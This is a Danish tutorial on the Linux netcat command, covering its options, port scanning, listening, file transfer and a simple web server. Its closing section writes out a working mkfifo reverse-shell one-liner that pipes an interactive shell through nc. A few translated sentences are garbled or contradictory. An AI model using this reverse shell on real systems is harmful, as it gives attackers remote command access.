Betalingsmetoder Abuse

Hvad NC-kommandoen bruges til i Linux

29.08.2024, 02:19

Kommandoen netcat er nødvendig for at sende og modtage data ved hjælp af TCP- og UDP-protokollerne. Den har ikke et stort sæt funktioner, men den er tilstrækkelig til forbindelseskontrol og simpel fejlfinding. Hvordan kommunikerer man via TCP-protokollen? Dette spørgsmål bliver stillet af mange brugere. I denne artikel besvarer vi det og viser også eksempler på reel anvendelse af kommandoen.

Hvad gør kommandoen?

Kommandoen netcat (eller nc) er et kraftfuldt værktøj til at arbejde med netværksforbindelser. Den bruges ofte af systemadministratorer og udviklere til forskellige opgaver. Her er de vigtigste funktioner og egenskaber i netcat:

  1. Etablering af TCP/UDP-forbindelser: Giver dig mulighed for at etablere forbindelser til fjernværter ved hjælp af TCP- og UDP-protokoller.
  2. Portlytning: kan bruges som en server til at lytte efter indgående forbindelser på en bestemt port.
  3. Dataoverførsel: Overførsel af data mellem computere over et netværk. Det kan være nyttigt til filoverførsel eller beskeder.
  4. Fejlfinding af netværksapplikationer: bruges til at teste og fejlfinde netværkstjenester, så man kan sende og modtage vilkårlige data.
  5. Oprette enkle chats: Der kan oprettes enkel tekstkommunikation mellem to systemer.
  6. Portscanning: kan bruges til at tjekke for åbne porte på eksterne værter.
  7. Tunneling: kan bruges til at oprette tunneler for at omdirigere trafik gennem andre porte eller værter.
  8. Arbejde med proxyer: kan bruges til at arbejde med proxyservere og udføre forskellige netværksopgaver.

netcat er et alsidigt værktøj, der kan bruges i en lang række scenarier, fra simpel beskedudveksling til komplekse netværksoperationer.

Indstillinger

Lad os starte med at se på syntaksen og de mest populære:

  • -6 - brug IPv6-protokollen. Standard er henholdsvis -4 og IPv4;
  • -h - viser hjælp med listen over tilgængelige parametre;
  • -i - delay - tilføj forsinkelse mellem afsendelse af strenge eller scanning af porte. Den indstilles i sekunder;
  • -l - lyttetilstand. Bruges med portspecifikation;
  • -N - lukker forbindelsen, når slutningen af filen er nået, når den sendes;
  • -n - arbejder med IP-adresser direkte uden DNS, deaktiverer også portscanning;
  • -P - user_name - angiver det brugernavn, der skal forbindes til proxyen;
  • -x - address:port - angiv den adresse og port, der skal forbindes til proxyen;
  • -p - port - angiv portnummer. I de fleste tilfælde læses porten uden at angive parameteren;
  • -U - brug UNIX-domænesocket (til kommunikation mellem processer);
  • -u - brug UDP-protokollen, som standard bruges TCP;
  • -v - detaljeret tilstand. Bruges ved scanning;
  • -W number_packets - luk forbindelsen efter modtagelse af et bestemt antal pakker;
  • -w timer - aktiver timeren for at begrænse forbindelsestiden. Den indstilles i sekunder;
  • -z - deaktiverer afsendelse af data. Den bruges under scanning.

Kommandoen har følgende form (parametre portadresse):

$ nc

Nu vil vi fortælle dig, hvordan du bruger kommandoen.

Kontrol af porten

Kontrol er den vigtigste anvendelse af netcat. Du skal bruge to parametre -vz, angive adresse og port. Du kan angive en række adresser, men i dette tilfælde er det bedre kun at sigte åbne porte med kommandoengrep. Lad os scanne portene på den lokale netværksadresse:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Lad os på samme måde scanne UDP-porte ved at tilføje parameteren -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Du bør kende den største forskel mellem TCP og UDP. Så i UDP er porte altid tilgængelige.

Lytte til porten

Parameteren -l er beregnet til at lytte til porten. Det er ofte nok, men du kan aktivere den detaljerede tilstand:

$ nc -nlv 8080

Husk, at når du bruger TCP-protokollen, skal porten være fri, ellers vises fejlen Already in use. Ikke alle porte kan bruges af normale brugere, f.eks. port 80 (HTTP), den vil sandsynligvis være optaget af en anden proces og kræve superbrugerrettigheder.

Filudveksling

En nyttig evne ved kommandoen er dataudveksling. Et simpelt eksempel er et tekstchatrum. For at starte en chat på en computer skal du køre værktøjet i portlyttetilstand:

$ nc -lp 8080

På den anden computer skal du angive adressen på den første computer og den samme port. Glem heller ikke at kontrollere, at porten er åben:

$ nc 0.0.0.0 8080

På den måde vil du kunne sende og modtage beskeder. Det vil sige, at kommandoen er beregnet til filudveksling. Princippet er det samme, bortset fra at det er nødvendigt at omdirigere outputtet til en fil, nemlig paste.txt:

$ nc -l 8080 > paste.txt

På den anden pc vil filen copy.txt fungere som input. Det er ikke overflødigt at bruge parameteren -N til at lukke forbindelsen efter filoverførsel:

$ nc -N 0.0.0.0 8080 < copy.txt

Ved filoverførsel er det vigtigt at følge rækkefølgen, først åbne lytning og først derefter sende filen. Kommandoen nc er en velfungerende, men langt fra den bedste måde at overføre filer på. Der findes mere effektive og nyttige værktøjer til denne opgave.

En simpel webserver

Da NC-kommandoen ikke fungerer med TCP-protokollen, kan den både sende og modtage HTTP-anmodninger. Derfor kan værktøjet blive en simpel webserver. Ja, du kan ikke gøre noget sværere end en tom side på denne måde, men operationen tager næsten ingen tid, og plusset er, at du ikke behøver at installere noget ekstra.

På eksempelformularen HTTP-svar med filen index.html. Når vi taler om selve np, er det en god idé at indstille en timer med parameteren -w 1 for at bryde forbindelsen, hvis browseren ikke gør det:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

For at få data fra en hjemmeside kan man lave en forespørgsel og sende den til den angivne adresse og port. Men denne måde er ret kompliceret, det er bedre at bruge den passende CURL-kommando.

Remote Shell

Ud fra eksemplerne ovenfor er det ikke svært at konkludere, at kommandoen giver dig mulighed for at organisere fjernadgang til computerens shell. Tidligere havde NC-værktøjet flere parametre til at åbne adgangen til terminalen. Parameteren -e er blevet fjernet fra programmet for længe siden, så der er ikke længere nogen simpel adgang til terminalen. Sikkerheden i selve programmet er blevet højere, men det kan stadig fungere sammen med andre.

Lad os vise forbindelsen ved hjælp af den navngivne kanal mkfifo. Lad os først og fremmest begynde at lytte til porten på den pc, hvor vi får adgang:

$ nc -lvnp 8080

Lad os gå direkte til kommandoen for at åbne terminalen. Slet først den gamle navngivne kanal(rm /tmp/f), opret en ny i stedet(mkfifo /tmp/f), læs dens indhold(cat /tmp/f), og send en shell-kommando til dens output(sh -i 2>&1). Derefter er det bare at køre nc med output til vores navngivne kanal(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Husk, at dette er en måde at hacke på, men det kan være nyttigt, hvis der er problemer med ssh. For at forhindre angrebet skal du konfigurere en sikkerhedspolitik og en firewall.